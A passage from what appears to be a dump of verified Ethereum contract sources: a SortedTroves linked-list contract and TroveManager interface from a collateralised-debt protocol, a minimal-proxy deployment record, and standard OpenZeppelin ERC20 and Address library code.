true;\n\n if (prevId == address(0) && nextId == address(0)) {\n // Insert as head and tail\n data.head = _id;\n data.tail = _id;\n } else if (prevId == address(0)) {\n // Insert before `prevId` as the head\n address head = data.head;\n node.nextId = head;\n data.nodes[head].prevId = _id;\n data.head = _id;\n } else if (nextId == address(0)) {\n // Insert after `nextId` as the tail\n address tail = data.tail;\n node.prevId = tail;\n data.nodes[tail].nextId = _id;\n data.tail = _id;\n } else {\n // Insert at insert position between `prevId` and `nextId`\n node.nextId = nextId;\n node.prevId = prevId;\n data.nodes[prevId].nextId = _id;\n data.nodes[nextId].prevId = _id;\n }\n\n data.size = data.size + 1;\n emit NodeAdded(_id, _NICR);\n }\n\n function remove(address _id) external {\n _requireCallerIsTroveManager(troveManager);\n _remove(data.nodes[_id], _id);\n }\n\n /*\n * @dev Remove a node from the list\n * @param _id Node's id\n */\n function _remove(Node storage node, address _id) internal {\n // List must contain the node\n require(node.exists, \"SortedTroves: List does not contain the id\");\n\n if (data.size > 1) {\n // List contains more than a single node\n if (_id == data.head) {\n // The removed node is the head\n // Set head to next node\n address head = node.nextId;\n data.head = head;\n // Set prev pointer of new head to null\n data.nodes[head].prevId = address(0);\n } else if (_id == data.tail) {\n address tail = node.prevId;\n // The removed node is the tail\n // Set tail to previous node\n data.tail = tail;\n // Set next pointer of new tail to null\n data.nodes[tail].nextId = address(0);\n } else {\n address prevId = node.prevId;\n address nextId = node.nextId;\n // The removed node is neither the head nor the tail\n // Set next pointer of previous node to the next node\n data.nodes[prevId].nextId = nextId;\n // Set prev pointer of next node to the previous node\n data.nodes[nextId].prevId = prevId;\n }\n } else {\n // List contains a single node\n // Set the head and tail to null\n data.head = address(0);\n data.tail = address(0);\n }\n\n delete data.nodes[_id];\n data.size = data.size - 1;\n emit NodeRemoved(_id);\n }\n\n /*\n * @dev Re-insert the node at a new position, based on its new NICR\n * @param _id Node's id\n * @param _newNICR Node's new NICR\n * @param _prevId Id of previous node for the new insert position\n * @param _nextId Id of next node for the new insert position\n */\n function reInsert(address _id, uint256 _newNICR, address _prevId, address _nextId) external {\n ITroveManager troveManagerCached = troveManager;\n\n _requireCallerIsTroveManager(troveManagerCached);\n\n Node storage node = data.nodes[_id];\n\n // Remove node from the list\n _remove(node, _id);\n\n _insert(node, troveManagerCached, _id, _newNICR, _prevId, _nextId);\n }\n\n /*\n * @dev Checks if the list contains a node\n */\n function contains(address _id) public view returns (bool) {\n return data.nodes[_id].exists;\n }\n\n /*\n * @dev Checks if the list is empty\n */\n function isEmpty() public view returns (bool) {\n return data.size == 0;\n }\n\n /*\n * @dev Returns the current size of the list\n */\n function getSize() external view returns (uint256) {\n return data.size;\n }\n\n /*\n * @dev Returns the first node in the list (node with the largest NICR)\n */\n function getFirst() external view returns (address) {\n return data.head;\n }\n\n /*\n * @dev Returns the last node in the list (node with the smallest NICR)\n */\n function getLast() external view returns (address) {\n return data.tail;\n }\n\n /*\n * @dev Returns the next node (with a smaller NICR) in the list for a given node\n * @param _id Node's id\n */\n function getNext(address _id) external view returns (address) {\n return data.nodes[_id].nextId;\n }\n\n /*\n * @dev Returns the previous node (with a larger NICR) in the list for a given node\n * @param _id Node's id\n */\n function getPrev(address _id) external view returns (address) {\n return data.nodes[_id].prevId;\n }\n\n /*\n * @dev Check if a pair of nodes is a valid insertion point for a new node with the given NICR\n * @param _NICR Node's NICR\n * @param _prevId Id of previous node for the insert position\n * @param _nextId Id of next node for the insert position\n */\n function validInsertPosition(uint256 _NICR, address _prevId, address _nextId) external view returns (bool) {\n return _validInsertPosition(troveManager, _NICR, _prevId, _nextId);\n }\n\n function _validInsertPosition(\n ITroveManager _troveManager,\n uint256 _NICR,\n address _prevId,\n address _nextId\n ) internal view returns (bool) {\n if (_prevId == address(0) && _nextId == address(0)) {\n // `(null, null)` is a valid insert position if the list is empty\n return isEmpty();\n } else if (_prevId == address(0)) {\n // `(null, _nextId)` is a valid insert position if `_nextId` is the head of the list\n return data.head == _nextId && _NICR >= _troveManager.getNominalICR(_nextId);\n } else if (_nextId == address(0)) {\n // `(_prevId, null)` is a valid insert position if `_prevId` is the tail of the list\n return data.tail == _prevId && _NICR <= _troveManager.getNominalICR(_prevId);\n } else {\n // `(_prevId, _nextId)` is a valid insert position if they are adjacent nodes and `_NICR` falls between the two nodes' NICRs\n return\n data.nodes[_prevId].nextId == _nextId &&\n _troveManager.getNominalICR(_prevId) >= _NICR &&\n _NICR >= _troveManager.getNominalICR(_nextId);\n }\n }\n\n /*\n * @dev Descend the list (larger NICRs to smaller NICRs) to find a valid insert position\n * @param _troveManager TroveManager contract, passed in as param to save SLOAD’s\n * @param _NICR Node's NICR\n * @param _startId Id of node to start descending the list from\n */\n function _descendList(\n ITroveManager _troveManager,\n uint256 _NICR,\n address _startId\n ) internal view returns (address, address) {\n // If `_startId` is the head, check if the insert position is before the head\n if (data.head == _startId && _NICR >= _troveManager.getNominalICR(_startId)) {\n return (address(0), _startId);\n }\n\n address prevId = _startId;\n address nextId = data.nodes[prevId].nextId;\n\n // Descend the list until we reach the end or until we find a valid insert position\n while (prevId != address(0) && !_validInsertPosition(_troveManager, _NICR, prevId, nextId)) {\n prevId = data.nodes[prevId].nextId;\n nextId = data.nodes[prevId].nextId;\n }\n\n return (prevId, nextId);\n }\n\n /*\n * @dev Ascend the list (smaller NICRs to larger NICRs) to find a valid insert position\n * @param _troveManager TroveManager contract, passed in as param to save SLOAD’s\n * @param _NICR Node's NICR\n * @param _startId Id of node to start ascending the list from\n */\n function _ascendList(\n ITroveManager _troveManager,\n uint256 _NICR,\n address _startId\n ) internal view returns (address, address) {\n // If `_startId` is the tail, check if the insert position is after the tail\n if (data.tail == _startId && _NICR <= _troveManager.getNominalICR(_startId)) {\n return (_startId, address(0));\n }\n\n address nextId = _startId;\n address prevId = data.nodes[nextId].prevId;\n\n // Ascend the list until we reach the end or until we find a valid insertion point\n while (nextId != address(0) && !_validInsertPosition(_troveManager, _NICR, prevId, nextId)) {\n nextId = data.nodes[nextId].prevId;\n prevId = data.nodes[nextId].prevId;\n }\n\n return (prevId, nextId);\n }\n\n /*\n * @dev Find the insert position for a new node with the given NICR\n * @param _NICR Node's NICR\n * @param _prevId Id of previous node for the insert position\n * @param _nextId Id of next node for the insert position\n */\n function findInsertPosition(\n uint256 _NICR,\n address _prevId,\n address _nextId\n ) external view returns (address, address) {\n return _findInsertPosition(troveManager, _NICR, _prevId, _nextId);\n }\n\n function _findInsertPosition(\n ITroveManager _troveManager,\n uint256 _NICR,\n address _prevId,\n address _nextId\n ) internal view returns (address, address) {\n address prevId = _prevId;\n address nextId = _nextId;\n\n if (prevId != address(0)) {\n if (!contains(prevId) || _NICR > _troveManager.getNominalICR(prevId)) {\n // `prevId` does not exist anymore or now has a smaller NICR than the given NICR\n prevId = address(0);\n }\n }\n\n if (nextId != address(0)) {\n if (!contains(nextId) || _NICR < _troveManager.getNominalICR(nextId)) {\n // `nextId` does not exist anymore or now has a larger NICR than the given NICR\n nextId = address(0);\n }\n }\n\n if (prevId == address(0) && nextId == address(0)) {\n // No hint - descend list starting from head\n return _descendList(_troveManager, _NICR, data.head);\n } else if (prevId == address(0)) {\n // No `prevId` for hint - ascend list starting from `nextId`\n return _ascendList(_troveManager, _NICR, nextId);\n } else if (nextId == address(0)) {\n // No `nextId` for hint - descend list starting from `prevId`\n return _descendList(_troveManager, _NICR, prevId);\n } else {\n // Descend list starting from `prevId`\n return _descendList(_troveManager, _NICR, prevId);\n }\n }\n\n function _requireCallerIsTroveManager(ITroveManager _troveManager) internal view {\n require(msg.sender == address(_troveManager), \"SortedTroves: Caller is not the TroveManager\");\n }\n}\n"
},
"ITroveManager.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ITroveManager {\n event BaseRateUpdated(uint256 _baseRate);\n event CollateralSent(address _to, uint256 _amount);\n event LTermsUpdated(uint256 _L_collateral, uint256 _L_debt);\n event LastFeeOpTimeUpdated(uint256 _lastFeeOpTime);\n event Redemption(\n uint256 _attemptedDebtAmount,\n uint256 _actualDebtAmount,\n uint256 _collateralSent,\n uint256 _collateralFee\n );\n event RewardClaimed(address indexed account, address indexed recipient, uint256 claimed);\n event SystemSnapshotsUpdated(uint256 _totalStakesSnapshot, uint256 _totalCollateralSnapshot);\n event TotalStakesUpdated(uint256 _newTotalStakes);\n event TroveIndexUpdated(address _borrower, uint256 _newIndex);\n event TroveSnapshotsUpdated(uint256 _L_collateral, uint256 _L_debt);\n event TroveUpdated(address indexed _borrower, uint256 _debt, uint256 _coll, uint256 _stake, uint8 _operation);\n\n function addCollateralSurplus(address borrower, uint256 collSurplus) external;\n\n function applyPendingRewards(address _borrower) external returns (uint256 coll, uint256 debt);\n\n function claimCollateral(address _receiver) external;\n\n function claimReward(address receiver) external returns (uint256);\n\n function closeTrove(address _borrower, address _receiver, uint256 collAmount, uint256 debtAmount) external;\n\n function closeTroveByLiquidation(address _borrower) external;\n\n function collectInterests() external;\n\n function decayBaseRateAndGetBorrowingFee(uint256 _debt) external returns (uint256);\n\n function decreaseDebtAndSendCollateral(address account, uint256 debt, uint256 coll) external;\n\n function fetchPrice() external returns (uint256);\n\n function finalizeLiquidation(\n address _liquidator,\n uint256 _debt,\n uint256 _coll,\n uint256 _collSurplus,\n uint256 _debtGasComp,\n uint256 _collGasComp\n ) external;\n\n function getEntireSystemBalances() external returns (uint256, uint256, uint256);\n\n function movePendingTroveRewardsToActiveBalances(uint256 _debt, uint256 _collateral) external;\n\n function notifyRegisteredId(uint256[] calldata _assignedIds) external returns (bool);\n\n function openTrove(\n address _borrower,\n uint256 _collateralAmount,\n uint256 _compositeDebt,\n uint256 NICR,\n address _upperHint,\n address _lowerHint,\n bool _isRecoveryMode\n ) external returns (uint256 stake, uint256 arrayIndex);\n\n function redeemCollateral(\n uint256 _debtAmount,\n address _firstRedemptionHint,\n address _upperPartialRedemptionHint,\n address _lowerPartialRedemptionHint,\n uint256 _partialRedemptionHintNICR,\n uint256 _maxIterations,\n uint256 _maxFeePercentage\n ) external;\n\n function setAddresses(address _priceFeedAddress, address _sortedTrovesAddress, address _collateralToken) external;\n\n function setParameters(\n uint256 _minuteDecayFactor,\n uint256 _redemptionFeeFloor,\n uint256 _maxRedemptionFee,\n uint256 _borrowingFeeFloor,\n uint256 _maxBorrowingFee,\n uint256 _interestRateInBPS,\n uint256 _maxSystemDebt,\n uint256 _MCR\n ) external;\n\n function setPaused(bool _paused) external;\n\n function setPriceFeed(address _priceFeedAddress) external;\n\n function startSunset() external;\n\n function updateBalances() external;\n\n function updateTroveFromAdjustment(\n bool _isRecoveryMode,\n bool _isDebtIncrease,\n uint256 _debtChange,\n uint256 _netDebtChange,\n bool _isCollIncrease,\n uint256 _collChange,\n address _upperHint,\n address _lowerHint,\n address _borrower,\n address _receiver\n ) external returns (uint256, uint256, uint256);\n\n function vaultClaimReward(address claimant, address) external returns (uint256);\n\n function BOOTSTRAP_PERIOD() external view returns (uint256);\n\n function CCR() external view returns (uint256);\n\n function DEBT_GAS_COMPENSATION() external view returns (uint256);\n\n function DECIMAL_PRECISION() external view returns (uint256);\n\n function L_collateral() external view returns (uint256);\n\n function L_debt() external view returns (uint256);\n\n function MAX_INTEREST_RATE_IN_BPS() external view returns (uint256);\n\n function MCR() external view returns (uint256);\n\n function PERCENT_DIVISOR() external view returns (uint256);\n\n function PRISMA_CORE() external view returns (address);\n\n function SUNSETTING_INTEREST_RATE() external view returns (uint256);\n\n function Troves(\n address\n )\n external\n view\n returns (\n uint256 debt,\n uint256 coll,\n uint256 stake,\n uint8 status,\n uint128 arrayIndex,\n uint256 activeInterestIndex\n );\n\n function accountLatestMint(address) external view returns (uint32 amount, uint32 week, uint32 day);\n\n function activeInterestIndex() external view returns (uint256);\n\n function baseRate() external view returns (uint256);\n\n function borrowerOperationsAddress() external view returns (address);\n\n function borrowingFeeFloor() external view returns (uint256);\n\n function claimableReward(address account) external view returns (uint256);\n\n function collateralToken() external view returns (address);\n\n function dailyMintReward(uint256) external view returns (uint256);\n\n function debtToken() external view returns (address);\n\n function defaultedCollateral() external view returns (uint256);\n\n function defaultedDebt() external view returns (uint256);\n\n function emissionId() external view returns (uint16 debt, uint16 minting);\n\n function getBorrowingFee(uint256 _debt) external view returns (uint256);\n\n function getBorrowingFeeWithDecay(uint256 _debt) external view returns (uint256);\n\n function getBorrowingRate() external view returns (uint256);\n\n function getBorrowingRateWithDecay() external view returns (uint256);\n\n function getCurrentICR(address _borrower, uint256 _price) external view returns (uint256);\n\n function getEntireDebtAndColl(\n address _borrower\n ) external view returns (uint256 debt, uint256 coll, uint256 pendingDebtReward, uint256 pendingCollateralReward);\n\n function getEntireSystemColl() external view returns (uint256);\n\n function getEntireSystemDebt() external view returns (uint256);\n\n function getNominalICR(address _borrower) external view returns (uint256);\n\n function getPendingCollAndDebtRewards(address _borrower) external view returns (uint256, uint256);\n\n function getRedemptionFeeWithDecay(uint256 _collateralDrawn) external view returns (uint256);\n\n function getRedemptionRate() external view returns (uint256);\n\n function getRedemptionRateWithDecay() external view returns (uint256);\n\n function getTotalActiveCollateral() external view returns (uint256);\n\n function getTotalActiveDebt() external view returns (uint256);\n\n function getTotalMints(uint256 week) external view returns (uint32[7] memory);\n\n function getTroveCollAndDebt(address _borrower) external view returns (uint256 coll, uint256 debt);\n\n function getTroveFromTroveOwnersArray(uint256 _index) external view returns (address);\n\n function getTroveOwnersCount() external view returns (uint256);\n\n function getTroveStake(address _borrower) external view returns (uint256);\n\n function getTroveStatus(address _borrower) external view returns (uint256);\n\n function getWeek() external view returns (uint256 week);\n\n function getWeekAndDay() external view returns (uint256, uint256);\n\n function guardian() external view returns (address);\n\n function hasPendingRewards(address _borrower) external view returns (bool);\n\n function interestPayable() external view returns (uint256);\n\n function interestRate() external view returns (uint256);\n\n function lastActiveIndexUpdate() external view returns (uint256);\n\n function lastCollateralError_Redistribution() external view returns (uint256);\n\n function lastDebtError_Redistribution() external view returns (uint256);\n\n function lastFeeOperationTime() external view returns (uint256);\n\n function lastUpdate() external view returns (uint32);\n\n function liquidationManager() external view returns (address);\n\n function maxBorrowingFee() external view returns (uint256);\n\n function maxRedemptionFee() external view returns (uint256);\n\n function maxSystemDebt() external view returns (uint256);\n\n function minuteDecayFactor() external view returns (uint256);\n\n function owner() external view returns (address);\n\n function paused() external view returns (bool);\n\n function periodFinish() external view returns (uint32);\n\n function priceFeed() external view returns (address);\n\n function redemptionFeeFloor() external view returns (uint256);\n\n function rewardIntegral() external view returns (uint256);\n\n function rewardIntegralFor(address) external view returns (uint256);\n\n function rewardRate() external view returns (uint128);\n\n function rewardSnapshots(address) external view returns (uint256 collateral, uint256 debt);\n\n function sortedTroves() external view returns (address);\n\n function sunsetting() external view returns (bool);\n\n function surplusBalances(address) external view returns (uint256);\n\n function systemDeploymentTime() external view returns (uint256);\n\n function totalCollateralSnapshot() external view returns (uint256);\n\n function totalStakes() external view returns (uint256);\n\n function totalStakesSnapshot() external view returns (uint256);\n\n function vault() external view returns (address);\n}\n"
}
},
"settings": {
"evmVersion": "paris",
"optimizer": {
"enabled": true,
"runs": 200
},
"libraries": {
"SortedTroves.sol": {}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,497,383 |
5cedefecd212b2699bb4fc85ca1e76e6acabe0b5f645cb05da68110439c6b8d8
|
61a791f49a6f0eab9e414c58c416059876cdb74872a68a2bbfa657113de8ee0d
|
d8531a94100f15af7521a7b6e724ac4959e0a025
|
70b66e20766b775b2e9ce5b718bbd285af59b7e1
|
2ee8fca637d4b0bdb402c2735ea55ef6976c25db
|
3d602d80600a3d3981f3363d3d373d3d3d363d7314a3b726724a0e620cde342a7c04c09e0d05f7a65af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d7314a3b726724a0e620cde342a7c04c09e0d05f7a65af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"settings": {
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "none",
"useLiteralContent": true
},
"optimizer": {
"enabled": true,
"runs": 10
},
"remappings": [],
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
},
"sources": {
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n */\ninterface IERC20Permit {\n /**\n * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n * given ``owner``'s signed approval.\n *\n * IMPORTANT: The same issues {IERC20-approve} has related to transaction\n * ordering also apply here.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n *\n * For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n */\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n /**\n * @dev Returns the current nonce for `owner`. This value must be\n * included whenever a signature is generated for {permit}.\n *\n * Every successful call to {permit} increases ``owner``'s nonce by one. This\n * prevents a signature from being used multiple times.\n */\n function nonces(address owner) external view returns (uint256);\n\n /**\n * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n */\n // solhint-disable-next-line func-name-mixedcase\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/utils/SafeERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\nimport \"../extensions/draft-IERC20Permit.sol\";\nimport \"../../../utils/Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(\n IERC20 token,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 newAllowance = token.allowance(address(this), spender) + value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n uint256 newAllowance = oldAllowance - value;\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n }\n\n function safePermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n token.permit(owner, spender, value, deadline, v, r, s);\n uint256 nonceAfter = token.nonces(owner);\n require(nonceAfter == nonceBefore + 1, \"SafeERC20: permit did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n if (returndata.length > 0) {\n // Return data is optional\n require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n 